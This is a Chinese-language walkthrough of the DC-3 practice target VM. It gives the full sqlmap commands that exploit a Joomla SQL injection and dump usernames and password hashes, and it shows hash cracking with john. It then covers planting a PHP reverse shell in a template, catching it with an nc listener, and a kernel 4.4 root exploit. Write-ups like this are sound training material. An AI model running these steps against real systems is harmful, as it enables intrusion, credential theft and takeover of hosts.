DC-3
青 叶

DC-3

这个靶机有点难搞,尤其是最后提权

基础信息收集

先使用NMAP扫描了一下:

image

得到一个关键信息,即后台是Joomla

相比之下,nikto就没有带来太多有用的信息了,不过倒是给我们爆出了许多目录:

image

基于Joomla深入

知道了后台是Joomla后,首先判断一下Joomla的版本:

1
joomscan -u 192.168.145.136

joomscan是Kali里有的,一开始不知道还去github找了下。

关键信息如下:

image

然后搜一下这个版本是否存在漏洞,居然搜出来一个SQL注入:

image

找到sqlmap 用法:

image

SQL注入

由于exploit-db已经提供了sqlmap的用法,因此后面的步骤相对简单,使用sqlmap跑出数据库:

1
sqlmap -u "http://192.168.145.136/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] --dbs

image

跑出数据库joomladb的表:

1
sqlmap -u "http://192.168.145.136/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb --tables

image

跑出user表:

1
sqlmap -u "http://192.168.145.136/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb -T "#__users" --columns

image

然后再爆出username和password:

1
sqlmap -u "http://192.168.145.136/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb -T "#__users" -C username,password --dump

image

然后使用john破一下hash密码:

1
john --crack-status pwd.hash

由于我已经crack过了,这里展示一下结果:

image

然后通过这个登录到系统。

Joomla后台

image

经Google,Joomla的模板可以修改。

beez3模板的根目录下加一个shell的php文件,这个文件的内容可以参考:

1
/usr/share/webshells/php/php-reverse-shell.php

我这里用的就是这个。

稍微修改一下内容:

image

将IP改为自己主机的IP。

保存后访问的地址为:http://192.168.145.136/templates/beez3/shell.php

如果修改的是另一个模板,那就把beez3换成模板名。

在访问之前,在自己的主机上开一个端口监听接受反弹shell:

1
nc -nvlp 1234

然后访问该地址,成功拿到反弹shell:

image

提权

这里的提权折腾了很久,思维固定在DC-1和DC-2的类似提权手法,浪费了许多时间。

image

根据连接信息可以判断Linux版本,然后判断Ubuntu版本:

image

搜索一下:

1
searchsploit linux kernel 4.4

image

完美符合所有条件。

在exploit-db上找用法,然后:

去这个地址下载exploit.tarhttps://bugs.chromium.org/p/project-zero/issues/detail?id=808

然后全部传到DC-3的服务器上,如果网络环境运行可以直接在服务器上wget从Github下。

然后编译执行:

image

成功拿到Root权:

image